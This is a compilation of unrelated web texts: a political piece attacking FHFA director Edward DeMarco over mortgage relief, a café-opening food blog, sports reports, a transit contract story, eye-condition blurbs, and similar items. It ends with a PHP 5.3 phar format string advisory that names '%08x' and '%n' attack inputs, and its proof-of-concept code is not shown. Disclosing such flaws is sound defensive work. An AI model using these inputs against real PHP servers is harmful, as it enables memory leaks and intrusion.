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About 11 million homeowners are underwater in their mortgages—in other words, have mortgages that exceed the value of their homes—according to some financial experts tracking home values nationwide. That represents a $700 billion debt drag on the housing market and the overall economy, according to the Center for Responsible Lending.
A broad range of economists and financial experts support addressing this problem through principal write-downs, readjusting mortgage values to the actual value of the homes.
The Federal Housing Finance Agency is the independent government office that oversees the functions of the mortgage finance corporations commonly known as Freddie Mac and Fannie Mae. Together, the two entities are responsible for financially backing more than half of the mortgages in the country. If the FHFA directed them to do so they could issue principal reductions, negotiate lower interest rates, push refinancing deals through the system, and dramatically reduce foreclosures. That would help millions of households avoid foreclosure, stop the decline of communities plagued by foreclosure, and boost the overall economy.
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The FHFA is an independent agency, so both the White House and DeMarco claim that he can't be fired. But DeMarco is still obligated to carry out his agency's mission – and to speak truthfully to his ultimate employers, the American people. (He has refused to speak with reporters or respond to press inquiries on a number of occasions.)
This Bush appointee doesn't understand – or doesn't want to carry out – his mission. Fannie, Freddie and the FHFA exist to help homeowners, not bankers.
DeMarco claims that principal reductions for underwater homeowners – some of whom are still paying seven percent interest or more for nonexistent home value, when the prevailing rate is as much as three points lower – "would not meet (the FHFA's) responsibilities as conservator of Fannie and Freddie." He told Congress that "FHFA has a statutory responsibility to preserve and conserve the enterprises' assets."
But key policy leaders and economists agree that principal write-downs are a key to getting the economy bank on track. Elizabeth Warren, who was the first director of the Consumer Financial Protection Bureau, has said it best: "We must never forget that this economic crisis began one lousy mortgage at a time. Foreclosures don't just harm the families that lose their homes. They also have powerful effects on whole communities, depressing home values and putting a drag on local economies." That's why, she said, "we need a housing policy that fires on all cylinders: principal write-downs, refinancing options, cash for keys, and short sales."
DeMarco is also being disingenuous about his mandate as FHFA acting director. It's not just to "preserve and conserve" the assets of Fannie and Freddie. The agency's mission is also to "support housing finance and affordable housing, and support a stable and liquid mortgage market." It's supposed to ensure that the housing market works for ordinary homeowners, not just Wall Street dealmakers. When those dealmakers engaged in predatory or fraudulent lending, then with Fannie and Freddie marketed those loans on Wall Street, triggering a near collapse of the economy, principal write-downs to bring the housing market back to stability and liquidity is squarely within DeMarco's mandate. He's wrong to use his fiduciary responsibilities to Fannie and Freddie to oppose a solution that will help homeowners and the broader economy.
In fact, Edward DeMarco paid a government employee millions per year to bet that American homeowners wouldn't get the help they need – while his agency was making it harder for them to get that help.
An academic has studied DeMarco's insistence on increasing the Fannie/Freddie financial portfolio – which he says has no bearing on his refusal to do more to help homeowners – and has concluded that "there is a very significant conflict of interest" that DeMarco and others have understated.
DeMarco's team has invested roughly $5 billion of Freddie Mac's $650 billion in "reverse floaters" which are essentially bets that the homeowners who aren't being helped by DeMarco's team will never get helped. That conflict of interest is actually understated, said Christopher Mayer of Columbia Business School, because these "floaters" are derivatives that link back to $26 billion to $30 billion in mortgages. That makes the amount of mortgage loans subject to this conflict five to six times what was originally believed.
DeMarco killed a pilot program that could've helped millions – and hid it from Congress.
As a letter from Reps. Elijah Cummings and John Tierney reveals, a former FHFA employee testified that there was a pilot program in principal reduction but "was terminated by senior officials at Fannie Mae who were 'philosophically opposed' to the concept of reducing principal."
DeMarco didn't reveal the existence of this program or its termination in his Congressional testimony.
DeMarco also misled Congress about the cost of a principal reduction program. It actually saves taxpayers $28 billion.
DeMarco misled Congress and the public when he said that principal forgiveness for all underwater mortgages would cost "almost $100 billion," since $100 billion is the estimated total of all underwater principal, not just the amount that would be reduced for distressed homeowners.
Another FHFA study showed that not reducing principal on these mortgages would cost more than $100 billion, as Cummings and Tierney noted, while yet another showed that a well-designed principal reduction program would actually save taxpayers $28 billion. DeMarco didn't mention those studies.
DeMarco's trying to appoint private-sector bankers whose institutions had some of the worst foreclosure problems.
Fannie Mae is currently hunting for a new CEO. Which names are at the top of the list?
One of them is Fannie Mae's current Chief Counsel, Timothy Mayapoulo, who was chief counsel for Bank of America in 2008. On Mayapoulo's watch, Bank of America was neck-deep in a wave of foreclosure fraud and other criminal activity, and has had to sign a number of multimillion-dollar settlements related to its business practices, including a charge that it illegally processed debit-card transactions out of order in order to maximize overdraft fees.
Another is David Stevens, CEO of the Mortgage Bankers Association. Among other things, it owns and operates MERS Inc., the shell company that is at the center of much of the foreclosure fraud and deception. It's also the organization whose previous CEOs lectured homeowners on the immorality of walking away from underwater properties—while walking away from its own.
These are the kinds of people that Edward DeMarco thinks should be handling the taxpayers' money and entrusted with Fannie Mae's mission "to keep money flowing to mortgage lenders, to help strengthen the U.S. housing and mortgage markets, and to support affordable homeownership."
Thousands of citizens are joining members of Congress and other leaders to say to Edward DeMarco: Move on mortgage relief—or be moved.
The Campaign for America's Future has called on its members to send a message to DeMarco to either support mortgage write-downs or step down from the Federal Housing Finance Agency and make way for someone who will serve the interests of homeowners. Leading Members of Congress are also sending the same message. You can also let the White House and your member of Congress know that you want Fannie Mae and Freddie Mac to allow mortgage write-downs. Wall Street is being heard on this; it's time for the voices of people speaking on behalf of homeowners to be heard.
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9 — NBA TV's Steve Smith called this on the real pregame show. He tabbed Neal to have the big night and boom!
8 — Parker has an injury issue (calf) that would normally be a big deal after this game. But the way the role players have stepped up pushes this story to the background. The Spurs are going to need him to win two more games in this series, though. No way you want to finish this series without TP.
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3 — Complete pandemonium to star the fourth. Spurs role players have officially taken this game (and perhaps the series) over. Neal, Green, Leonard wouldn't normally constitute a "Big 3" in practice. But they are the only "Big 3" playing tonight. Finals record 16 made 3-pointers for the Spurs as the lead continues to balloon.
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Thursday, October 21, 2010
Testing Done - 1 week to go.
My cinnamon brioche bun with raisins, bacon and orange glaze.
So, a lot of you had questions about Edgar.
I am fully conscious that I did not answer.
I had a lot of thinking to do myself.
You see, I had a vision of a restaurant. Opening for dinner, maybe lunch, maybe brunch.
What I ended up buying is a really tiny place, tucked away in a quiet neighbourhood, near the water and cyclepaths. There are 11 seats, all high stools. Some facing the window outside, some, well, pretty much next to me in the kitchen!
I had to rethink.
I will be alone, so I need to be quite efficient. Take your order, make it, and manage the cash.
For a few weeks at least so that I have enough money to hire someone.
So food choices are key. I can't scramble. I can't make people wait.
So on top of all the craziness of starting a business, I had to think menu-logic.
Breakfast will be a lot of pastries, 2 hot sandwiches (apple, bacon, maple, cheddar and raisin bread + breakfast burrito omelet type thing), smoothies, granola and yoghurt.
Lunch. Lunch is where it is tricky. Big salads to go. Sandwiches. Stews. Curries. I have to be able, once again, to assemble the food and serve people. I wanted original items as well as crowd pleasers: what is around is a grade school, a university, passing traffic from the government and the hood folks.
The sandwich I am most looking forward to is the banh mi. So fresh, crunchy, comforting.
A mix of sweet and spicy pork, pickled carrot and daikon, cilantro, jalapeno, spicy mayo, cucumber - hold the paté.
I plan to open in a week. I am still debating on which day to open: a Saturday so that friends and family can come, or start an official work week and open on Tuesday... I don't like fancy openings, so one day a little open sign will appear.
The inside is almost all done. I had a few set backs yesterday... The chemicals from the hood vent cleaning 'melted' the paint on my floor, I will have to redo this weekend. It sucks. It was a long process, I had to have it dry between coats. Redo. And it seems that the cleaning was never really well done: it lifted years and years of paint colors from the vent - I had to scrape all of those away yesterday. It was so disgusting, in a way, I am happy this happened, now all is so clean.
Today I start cooking and filling the freezers. I have some visit that will make me smile and lift my worries. Don't get me wrong, I am really happy - but it seems like it is still not registering. I am still in a whirlwind of shopping, cleaning, thinking heavily, lining up my contacts for meat, milk, nuts, pantry... and it goes on and on.
I remember reading an article about Orangette, and how she was saying that the restaurant business is not for everyone, and how it was not for her... Cooking at home + food blogging is quite different. I can see how this could be overwhelming for someone who has never done it, how it all looks like fun and games from the outside.
But I like challenges. And I am not one to back down.
Like the brioche bun. How many times have I started over? I have my recipe now.
The picture on top is cinnamon, raisin, bacon. It will be transformed yet again though... Dates, maple, cinnamon, bacon. Deliciousness, I loved it.
...I even had a supreme taste-tester, and he preferred my apple-cranberry pie - I have to be confident and think that different people have different tastes and I will stand behind my bun, as I will stand behind all my food.
19 comments:
À lire ton blogue, ce sont passion et plaisir qui se donnent rendez-vous Chez Edgar = excellent résultat. J'ai hâte de faire un tour et, enfin, te rencontrer!
- October 21, 2010 at 8:52 AM
I am so very excited for you Marysol - you are going to do wonderfully and I cannot wait to come visit your for lunch, dinner, brunch or all 3!
Best of luck!!
- October 21, 2010 at 9:14 AM
- Mélodie said...
C'est fou comment le temps passe vite! Je serai la première à essayer ton banh mi! Ça fait des lustres que je veux en manger un :-) Vas-tu faire de la pub à l'Université tout près ? Il faudrait. Ce serait une bonne clientèle.
- October 21, 2010 at 9:51 AM
- Deborah said...
Everthing sounds wonderful and you've thought out a lot of details! The first year is hard as my ex opened a restaurant a year ago and he's still learning and growing. Would love to send you a card or flowers for your opening! What is the address?
Enjoy your opening and take lots of photos! We'll want to see them on the blog!
- October 21, 2010 at 10:01 AM
I've been a long time reader, first time commenter. Everything sounds so incredible and I'm so fiercely excited for you and this venture! While stressful, I know you're goign to do an INCREDIBLE job.
- October 21, 2010 at 10:02 AM
- Janet M-N said...
I'm going to be in Canada from Oct 24-31, and I can drive to Ottawa/Hull -- would love to try Edgar!!!!!
- October 21, 2010 at 11:23 AM
- The Benny's said...
I love Vietnamese subs!!! Did you say no paté? Nooooooooo :-(
How about a french onion soup to serve at lunch? Perfect for this weather.
- October 21, 2010 at 11:23 AM
- Meg said...
oh how exciting! i wish i lived nearby because i would totally be there on opening day. that sandwich looks divine! good luck!!
- October 21, 2010 at 11:23 AM
- Victoire said...
So excited to taste your cinnamon bun (and everything else!) Moi j'te conseillerais d'ouvrir doucement le mardi...it'll give you the chance to work out any kinks and settle your nerves a bit before the deluge of family and friends on the week-end! Family and friends will want to socialize a bit...which can be hard to juggle when you're also getting the hang of juggling everything else!
- October 21, 2010 at 11:47 AM
- Nikki said...
Wow what an exciting venture! Congratulations on a dream come true. Looking forward to more tales from behind the counter.
- October 21, 2010 at 12:08 PM
- ila said...
so, so excited. thank you for sharing this with us.
- October 21, 2010 at 1:19 PM
- Marie-Claude Q said...
Banh-mis???? Coming soon in my neighborhood? It's a good day....
But why hold the paté? It's one of the good part of the sandwich!
- October 21, 2010 at 1:21 PM
- Dave Loan said...
Congratulations, Marysol! We look forward to trying your cuisine - we know it will be thrilling!
Let us know if there's anything we can do to help.
Caroline and Dave
- October 21, 2010 at 2:09 PM
- Moonlight said...
Thank you for sparing the time to share this with us!
I'm very excited about you, even though I don't know you! You are making one of my father's and mine dreams come true! :)
GOOD GOOD luck!
- October 21, 2010 at 2:19 PM
- Zabana said...
The cinnamon bun is awesome!! I can attest to it. Get in line people... lol
- October 21, 2010 at 2:22 PM
- Roxstar said...
I soooo love you for combining bacon and maple syrup in a cinnamon bun. I may actually drag my kids accross the bridge to get me some of those babies on some mornings!
Can't wait to see the rest of your menu!
Tu vas etre sensationnelle, aucun doute!! Au plaisir d'aller te voir!
- October 21, 2010 at 4:54 PM
- Mélodie said...
oh oh, je pense que tu devras mettre du pâté dans le banh mi... Les gens se prononcent :-)
- October 21, 2010 at 5:07 PM
- Eva said...
C'est tellement excitant ton aventure! Je suis contente que tu nous as laissé te suivre sur ton chemin. J'ai hâte, j'ai hâte, j'ai hâte, de rencontre Edgar!
- October 21, 2010 at 7:07 PM
- Meats, Roots and Leaves said...
Marysol: Well done! Looks fantastic. You should be proud.
- November 2, 2010 at 7:42 PM


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Maya HTT has extensive experience in the ship building and marine industries, as both a resource for key simulation software as well as providers of expert services and support. We understand the mechanical environments that ship building and marine systems and components face. Engineers must validate their designs against a wide range of factors, including noise, vibration, and harshness (NVH), fatigue, temperature extremes, and shock.
Maya HTT is an authorized reseller for Siemens PLM's NX™ and Teamcenter® software. These market-leading solutions provide state-of-the-art capabilities for ship building and marine development, spanning design and engineering to simulation and testing to final assembly and launch. Our knowledge of the industry, combined with our ability to customize and extend the NX™/TeamCenter platform, enables us to help ship building and marine companies fully harness this powerful software suite. Our specialized services include process consulting, development and implementation of engineering methods, customized training, application development, and technical support.
The Maya HTT-authored NX™ Thermal and Flow products allow for the efficient solution of the most complex heat transfer problems found in the modern ships, no matter what mode of heat transfer is involved. The NX™ Flow computational fluid dynamics product can be used to assess and optimize performance of a wide range of problems. The seamless integration of these products in the NX™ CAE software suite allow for very efficient simulation iterations, leveraging associativity between the simulation and CAD models.
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It's great that Bryan Stow is getting transferred from a hospital to a long-term rehabilitation center more than six months after getting beaten into a coma outside Dodger Stadium. Especially when the San Francisco Chronicle story about it contains this vignette:
Before a visit by one of Stow's favorite bands, Queensryche, he looked at them through the doorway of his room and said, "They are all dressed up. I'm not dressed up." Later, Stow asked the band to dedicate a song to him.
Granted, this is when the difficult portions of the rehabilitation process begin. The relearning how to walk. To eat. To dress yourself. To rock out to Queensryche. Even to think coherently, consistently. But it's a markedly positive step to not require round-the-clock hospital care.
Bryan Stow's big move - he's leaving the hospital [SFGate]
Bryan Stow 'extremely challenging patient,' doctor says [LA Times]


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This search service supports the account name search and the keyword search.
About the account name search, it can search by the account name (displayed name on WeChat) and the account code. And if you click the displayed account name, then it will be displayed the posting history.
Last time, I explained that WeChat has not prepared the method of spreading information in the platform to the official accounts. But this search service will be useful for the official account on WeChat, because it will be able to be found by users more easily than now. It will be useful for users too, because it can help users to find the information easily what users want.
Sogou have provided the search engine since 2004 as a subsidiary of Sohu. But Tencent invested 448 million USD last September, and Tencent now has 36.5% stock of Sogou. They started to grope for the collaboration from that time, and this search service is surely the one of their result.
As I mentioned above, Sogou is the third largest search engine provider in China. And according to the recent report by CNZZ, their market share is 12.44% as of May 2014.
The difference with the two largest companies(Baidu and 360) is still big, but I think that this service can help to reduce that difference. Because WeChat will not provide such search result to that two largest companies.
Let's keep watching the future situation of this.
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Didn't we link to this geek hierarchy? I just searched the GF blog and can't find it. Anyway, SURPRISE! All forms of geek on the hierarchy are male! At least til you get to the very bottom of the list and the fanfic writer has a bag over zir head. There's a whole nother article to be written about the presumed and actual gender of fanfic writers, but I wanted to talk about the top of the geek hierarchy: the music geek.
Undisputed King of the Geek World, the Music Geek is without a doubt the most socially acceptable. For some reason you can be totally obsessed with going to music store after music store looking for that rare Australian-only single release by your third favorite indie band, and nobody's going to think you're weird or "eccentric" for doing so. This geekdom is the "coolest" because it does not repel women, and many of these geeks actually go out in public regularly to see bands perform, so they tend not to be socially awkward hermits.
*pounds head gently on desk*
As some of you may know, I'm quitting my job in the tech industry and going into music. It's given me some pause for thought wrt my geek identity, let me tell you. But fuck it, I can be a music geek, and a geek in music, and/or a geek who combines tech and music. Whatever.
Anyway, on that note, I just wanted to post a quick link to an article on one of my favourite music-geek blogs, Pam's Newsprint Fray:
Earlier this week, Pitchfork published a list of their 60 favorite music books. It is pretty wide-ranging and there are many good books on the list. (And some I really hated.) But only one was written by a woman, and two had lady coauthors. Come the fuck on.
Pam then offers us:
that happen to have been written by ladies
or at least co-written in a few cases
I'm definitely adding a few of these to my to-read list. Meanwhile, talk to me about music geekery, being a female music geek and/or geek in music, etc?


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Israeli Messianic leader Jacob Damkani, founder of Trumpet of Salvation ministries, took to the streets of Tel Aviv last week ahead of the national election to ask Israelis if they would vote for someone who openly professed faith in Jesus, or even for Jesus himself.
Most of the respondents, who were socially-minded Tel Avivians, said they liked Jesus' anti-establishment stand, and would have no problem voting for him, but nearly all of them mistakenly identified Jesus as not being a Jew.
Damkani was quick to point out to each that Jesus was very much a Jew of Israel, as are many of his followers.
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As of Wednesday 1st July 2015 Scarborough Hospital will no longer be providing a phlebotomy service on an ad-hoc basis for blood tests requested by the surgery. This also applies to patients who may work at Scarborough Hospital. All future blood tests MUST be done at Peasholm Surgery. Please see reception for an appointment.
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Candidate presented by: Rev. Walter J. Stohrer, S.J., Adjunct Associate Professor of Philosophy
Louis Dupré received his doctoral degree in philosophy at the University of Leuven, where he graduated in 1954 after writing a dissertation on the starting point of Marxist philosophy, for which he was awarded the J.M. Huyghe prize in 1956.
He taught philosophy at Georgetown University until 1972. The following year Professor Dupré was named the T. Lawrason Riggs Professor in Religious Studies at Yale University. His scholarly concentration has been on phenomenology and philosophy of religion, as well as on early modern thought and spiritual theology, and he is considered one of the world's leading Kierkegaard scholars and is at the forefront of Marxist-Christian dialogue.
Professor Dupré has lectured at several universities in the United States as well as his native Belgium, the Netherlands, Ireland, and Italy. He has written 15 books, edited four, and published some 200 articles in various philosophical and theological journals, collective works and encyclopedias. In recognition of his distinguished scholarship, he was elected a foreign member of the Belgian Royal Academy of Letters, Arts and Sciences, and in 1994 he became a member of the American Academy of Arts and Sciences.
Professor Dupré has been recognized throughout this career as a brilliant lecturer and his scholarly work has been characterized by critical rigor, depth, and wisdom. His abiding interest in the foundations of modern culture and the history of ideas has contributed in substantive ways to contemporary human self-understanding. His provocative studies on the Enlightenment and modernity have served to develop the questions and shape the agenda for future generations of scholars of religious history.
The personal commitment and dedication of Professor Dupré to a life of scholarship have mirrored the ideals of excellence in teaching and research traditionally honored at Marquette University. In his illustrious career he has won numerous awards and received several honorary degrees. In 1997 he received the Aquinas Medal from the American Catholic Philosophical Association. On the occasion of his retirement in 1998, former students and friends presented him with a festschrift entitled Christian Spirituality and the Culture of Modernity; Essays in Conversation with Louis Dupré.
Because of his distinguished career as a philosopher, theologian, inspiring teacher, and prolific author, Reverend President, I hereby recommend Louis Dupré for the Marquette University Degree of Doctor of Religious Studies, honoris causa.


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Sami Latouf needed a new logo design and created a contest on 99designs.
A winner was selected from 562 designs submitted by 147 freelance designers.
Autochim Systems
Autochim Systems Abu Dhabi was established in 1996 as a branch of Autochim Systems (France), and since then has been continuously active in the design, manufacturing and supply of Fire & Gas Detection and Protection Systems.
In addition to the main activity, Autochim Systems supplies on an exclusive representative basis the following products & services:
- Rotating machinery control & protection devices & systems.
- Specialized instrumentation & electrical equipment.
- Consultancy in the fields of environmental protection.
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- Industrial gases for calibration purposes.
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LAKE BUENA VISTA, Fla. — In effect, the Astros made the first pick in the Rule 5 draft the day before the draft.
The Astros selected lefthanded pitcher Patrick Schuster with the first pick in the draft on Thursday, but sent him immediately to the Padres, completing a trade the teams made Wednesday as a practically straight-up swap.
Right-hander Anthony Bass comes to the Astros and Schuster goes to the Padres, with the $50,000 selection fee the Astros paid to pick Schuster covered by the Padres.
The Rule 5 draft is in place to prevent teams from stockpiling players in the minor leagues who could have big-league opportunities elsewhere.
"We decided this year, given our opportunity to pick (first), we talked to other clubs to see if anybody had interest to moving up to that position," Astros general manager Jeff Luhnow said. "When San Diego expressed interest, we worked out a deal for Bass. We figured that getting a player with options that has major league experience was, in our situation, a little wiser than selecting somebody that hasn't played in the major leagues that would have to stay up there all year. We feel good about it."
Schuster, 23, threw four consecutive no-hitters in high school and signed for $450,000 when the Diamondbacks drafted him in 2009.
The trade could have worked out a little differently had the Astros been able to pick who they wanted in the Padres' slot, No. 12, but the player they had targeted was no longer on the board.
"We were prepared to make a pick with their selection," Luhnow said. "But the player we wanted, was gone so that's why we passed."
The Astros aren't strangers to making and keeping around a Rule 5 pick, i.e. reliever Josh Fields last season. Players selected in the major-league portion of the draft have to remain on the 25-man roster an entire season or be offered back to the team they were taken from for $25,000, half the cost the team paid to pick the player.
Capable talent can be found in the Rule 5 draft. But keeping a young player who may not be polished or truly ready for the entire year can also be a strain. With Bass in the fold instead, that strain is gone, because he can freely move between the minors and majors.
"Historically, we have seen these picks go for cash considerations only," pro scouting coordinator Kevin Goldstein said. "To actually get a player we care about, I think that's really rare."
The front office does think highly of Bass' capability.
"He's got major league experience, we like the arm, he's mid-90s and he's got options," Luhnow said of Bass. "It gives us flexibility. It's always challenging when you have to keep the player up all year. The beginning of last year, I think it hurt us some in that Fields — he was on the (disabled list) — even after that, we had a lot of situations where our starters were not going deep into the games, churning through the bullpen.
"We were sending guys back and forth to (Class AAA) Oklahoma City, and when you have a guy that has to stay on the roster, it limits your flexibility. … We know the pitcher that they selected. It's a good fit for them. For us, we've got a couple lefties that we signed, six-year free agents we like."
The Astros didn't lose any players in the major-league portion of the Rule 5 draft, which saw just nine players taken. The crop this year was known to at least be shallow aside from a few names.
"I think we thought it would be a lower number than average," Goldstein said. "We thought there were good players in the draft."
The Astros did add three players in the minor-league portion of the draft, including a rare lefthanded knuckleballer from the Braves system who's still new to the pitch, Blaine Sims. They also took outfielder Ravel Santana from the Yankees, a toolsy outfielder who has battled injuries but signed for $149,000 as an international free agent in 2008.
The Astros lost one player in minor league portion, righthander Enderson Franco. He went to the Rays. Signed out of Venezuela, Franco turns 21 this month and hasn't pitched above Rookie ball.
It's cheaper to pick players in the minor league portion of the draft, and there's no roster stay requirement. The player never would have to be offered back to the team he was picked from, unlike the major league phase.
The Rule 5 draft doesn't typically garner attention outside of the baseball world, but the Rangers selected Seahawks quarterback Russell Wilson in the minor league portion of the draft, paying $12,000 for his rights — useful only if Wilson decided to return to baseball, but notable for the publicity. Wilson played professionally in the Rockies' system before going to the NFL.


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Also known as demyelinating optic neuritis, optic neuritis refers to the inflammation of the optic nerve due to the loss of or damage to a protective covering called myelin, which surrounds the optic nerve. The myelin is essential to the function of the optic nerve. A more general term, optic neuropathy,Read more
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Nystagmus is a vision condition characterized by repetitive, uncontrolled eye movements. These involuntary eye movements may be side-to-side, up and down, or in a circular pattern, which hinders the eyes' ability to focus on a steady object. Individuals with nystagmus may hold their heads in unusualRead more
Macular Hole
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The condition known as a macular hole refers to a tiny break in the macula that results in blurry or distorted vision. To fully understand the condition, one must understand eye anatomy. The macula is a spot located in the center of the retina (the back portion of the eye). Located where light comesRead more
Eye Occlusions
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An eye occlusion is a blockage in one of the arteries or veins supplying blood to the retina and/or optic nerve. These blockages can cause severe and sudden vision loss. Contact your eye care professional immediately if you experience sudden vision loss, and follow up right away with your family doctor.Read more
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Many correctable vision problems are caused by abnormal eye anatomy. Very few people have perfectly shaped eyes that facilitate ideal vision. Rather, most people have some degree of abnormal curvature or other anatomical irregularities that cause slight visual changes. Astigmatism is one common formRead more
Subconjunctival Hemorrhage
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Similar to a bruise under the skin, a subconjunctival hemorrhage happens when a small blood vessel located between the sclera (white portion of an eye) and the conjunctiva (lining on the surface of an eye) breaks and covers the sclera with blood. Unlike broken blood vessels located under the skin whichRead more
Pinguecula and Pterygium (Surfer's Eye)
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Characterized by a yellowish raised part of the scleral conjunctiva (the lining of the white part of the eye), a pinguecula usually develops near the cornea (colored part of the eye), but does not extend past it. Similar to a callus on the skin, changes in tissues lead to the buildup of calcium, fat,Read more
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As we age, our eyes—like the rest of our bodies—begin to lose flexibility and strength. When this happens to the lens of the eye and its surrounding muscles, your lens will become stiff. This makes it harder to see close objects clearly because the eyes can't focus properly. It's a natural part ofRead more
Macular Degeneration
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One of the most important reasons for regular examinations by your eye care provider is evaluate for the development of macular degeneration. According to the Bright Focus™ Foundation, this condition is the primary cause of loss of vision and blindness in older individuals ages 60 and above and isRead more
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Glaucoma is the second leading cause of blindness in the United States, making it an important public health priority. Although there are several factors that cause glaucoma, all types of glaucoma are characterized by damage to the optic nerve. This damage prevents the brain from receiving appropriateRead more
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Many body parts begin to change as you age, and your eyes are no exception. One of the most common age-related eye changes is the development of cataracts. Although cataracts do not occur exclusively in older adults, they affect approximately half of all Americans by age 80. What Are Cataracts? CataractsRead more
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The primary sufferers of technology-related eyestrain used to be adults whose work involved computers. Now, however, people of all ages use computers, smartphones, tablets and gaming devices, which can take their toll on the eyes. As people's reliance on technology grows, so does the incidence of eyestrain.Read more
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Of our five senses, humans rely on vision most strongly. Our everyday experience of the world is colored by our ability to see, our memory draws heavily upon visual information, and many activities of daily living are challenging without sight. As a result, it is essential to protect your eyes from damage.Read more
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A Kimberley story that speaks to everyone
Jandamarra is a legend of the Bunuba people. He was only in his mid twenties when he was gunned down in 1897, but in his short life he created a legacy that will never be forgotten. He led one of the longest and most successful campaigns to defend Aboriginal country in Australian history.
In 2008, at the Perth International Arts Festival, Bunuba Cultural Enterprises (BCE, then known as Bunuba Films) partnered the Black Swan State Theatre Company in co-producing the premiere, sellout season of the Jandamarra stage play, presented in Bunuba, English and Kriol.
In 2011 we were able to "bring Jandamarra home," by presenting the play at four Kimberley venues, including a highlight show at the spectacular Windjana Gorge, in the heart of traditional Bunuba country.
In 2014 we have an exciting new venture, Jandamarra; Sing For The Country, a cantata for orchestra, choirs and a Bunuba ensemble that will have its world premiere at the Syney Opera House in July. Please explore this site to learn about Jandamarra, the Bunuba people, the Jandamarra stage play, and the Cantata project.


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MBTA threatens to cancel $190m deal for rail cars
Cites delays, errors in building rail cars; could look to replace South Korean firm
Chronic delays and shoddy workmanship by the company building a fleet of double-decker coaches for the MBTA's commuter rail line have prompted executives to threaten cancellation of the $190 million contract and possibly seek a new firm for the work.
In a letter obtained by the Globe, state transit officials express deep frustration with the South Korean company building the 75 rail cars, Hyundai Rotem, declaring that "this seriously troubled procurement is at a point of crisis.''
That letter, dated Dec. 21, details a litany of woes, including faulty chassis and wires damaged by errant drilling on 10 of the first coaches to be built.
"I am writing this letter to you to convey my profound disappointment for Hyundai Rotem's seemingly lack of commitment to improve its chronically unsatisfactory performance,'' Jonathan R. Davis, the T's chief financial officer, wrote. He cited materials shortages and workmanship at plants in South Korea and Philadelphia that "has degraded at an alarming rate.''
The Massachusetts Bay Transportation Authority declined to make officials available for interviews Thursday but confirmed the letter's authenticity. In a brief statement, T spokesman Joe Pesaturo indicated that the letter caught the attention of Hyundai Rotem, with company leadership traveling to Boston this month to work out solutions short of termination.
"While some progress has been made, certain areas of concern remain,'' Pesaturo said via e-mail. "It's important that [Hyundai Rotem's] leadership team not only understand the procurement's ongoing issues, but also take the corrective actions necessary to address the shortfalls.''
A spokesman for the company said Thursday that Hyundai Rotem's relationship with the T had improved markedly in the three weeks since the letter was sent.
"The communication now is much more positive, obviously, than the letter would point out,'' said Andy Hyer, a US spokesman for the company. "They need their cars, and we want to give them to them. [But] it's been a challenge to get them out quicker.''
When the T awarded the contract in early 2008, the first four cars were scheduled to arrive by October 2010, and all 75 were supposed to be carrying commuters in and out of Boston by the end of 2012. Instead, the first four coaches — currently going through extensive testing — did not reach the MBTA until two months ago.
Hyer said the company is addressing material shortages and is poised to hits its stride, with 24 Korean-built shells now being outfitted and finished for the T in Philadelphia. Four more empty shells should arrive next week, he said.
Hyundai Rotem made a bold entrance into the US market a decade ago with attractive promises, well-placed connections, and prices that beat experienced competitors.
Some in the industry considered it a risky bet, given that Hyundai Rotem had yet to open an assembly plant on American soil, a requirement under federal law, or demonstrate experience negotiating the stricter safety standards and other requirements that have bedeviled several large international corporations trying to break into the US transit and passenger rail market.
"North America is the most difficult market. It is the graveyard of car builders,'' said Jonathan Klein, a global transportation consultant and former executive and chief mechanical officer at multiple large rail and transit agencies; he has not worked on the Hyundai Rotem deals but can see the company's plant from his Philadelphia office.
Klein, who previously likened the T's contract to Donald Rumsfeld's wishful thinking on Iraq, said the MBTA now has two choices, neither of which would deliver coaches to riders as quickly or cheaply as originally planned. It can continue to try to coax Hyundai Rotem through cooperation or threat, or it can terminate the deal, seek damages, and begin the process of finding a contractor all over again.
"The T has dug a hole, and it's going to be very expensive to fill that hole,'' he said.
Hyundai Rotem built its domestic assembly plant in Philadelphia because local job creation was part of the pitch to win its first major US deal, 120 coaches for Philadelphia's transit authority. That order is finally nearing completion, though only after the company fell far behind amid materials shortages, quality-control problems, and labor strife.
Hyundai Rotem sought the MBTA contract soon after it won the Philadelphia deal, bidding nearly 20 percent below industry veteran Kawasaki on price and receiving high technical marks from MBTA staff reviewing the bid.
T management glossed over Hyundai Rotem's lack of US experience and encouraged the MBTA board to approve the contract quickly, given the needs of the T's aging fleet, according to meeting minutes and materials prepared for the board.
Some members who approved the deal were livid when they later learned that a former high-ranking Boston and Philadelphia transit executive whose son remained a T manager had been hired to help Hyundai Rotem win the Pennsylvania contract. But the T said the father and son were not involved in the Boston bidding and that the son also informed the state Ethics Commission that he was recusing himself.
Though it soon became clear internally that Hyundai Rotem was falling far behind, MBTA and Department of Transportation management did not tell the board overseeing the T until a year ago — when they asked the board to approve $4 million more on top of $10 million already committed to an engineering firm hired to provide expertise and help the T ride herd on the increasingly complicated order.
Angry board members summoned Hyundai Rotem's chief executive, M.H. Lee, to appear before them last June. He apologized for what he deemed a corporate embarrassment and said Hyundai Rotem would redouble its efforts, promising to make up lost time without compromising quality.
The T indicated in September and November that things seemed to be improving, but Lee died unexpectedly in mid-November. The letter from Davis suggests Hyundai Rotem once more put the T on the back burner after that.
Jim LaRusch, chief counsel and a vice president for the American Public Transportation Association, could not comment on the MBTA contract but acknowledged that equipment purchases are expensive, time-consuming, and potentially fraught with pitfalls.
They start with thousand-page technical specifications that incorporate federal standards and guidelines for safety and accessibility, as well as the unique needs of that transit agency, with its array of existing locomotives and coaches and varying types of stations. Bidders must be evaluated on price and ability. "Then the fun starts,'' he said, meaning years of back and forth over development, production, and testing.
"It's a pretty complex process,'' LaRusch said. "It's not like buying a Toyota.''


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SOURCE: BullTrade Corp.
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The new phar extension in PHP 5.3 contains a format string vulnerability in the internal phar_wrapper_unlink() function.
Affected versions
Affected is PHP 5.3 <= 5.3.2
The vulnerability was discovered by Stefan Esser.
Detailed information
Within the
phar_wrapper_unlink() function in
ext/phar/stream.c there exists a format string vulnerability in the error handling.
if (error) {
php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
On error the
php_stream_wrapper_log_error() function is called with the variable
error as format string. Because error can contain user input this allows the usual format string attacks e.g.
"%08x" for information leaks and
"%n" for memory corruption. However the later attack is only possible in insecure PHP installations (those not patched with the Suhosin Patch).
It is important to realize that this vulnerability might allow remote code execution in certain installations of PHP through file functions exposed to user input. This is possible because every default PHP 5.3 installation comes with the phar.phar file put in a known location on the harddisk.
Proof of concept, exploit or instructions to reproduce
The following code demonstrates one of the format string vulnerabilities in the phar extension that can be triggered by most of the file functions. This means many file function that are exposed to user input can be used to leak memory.
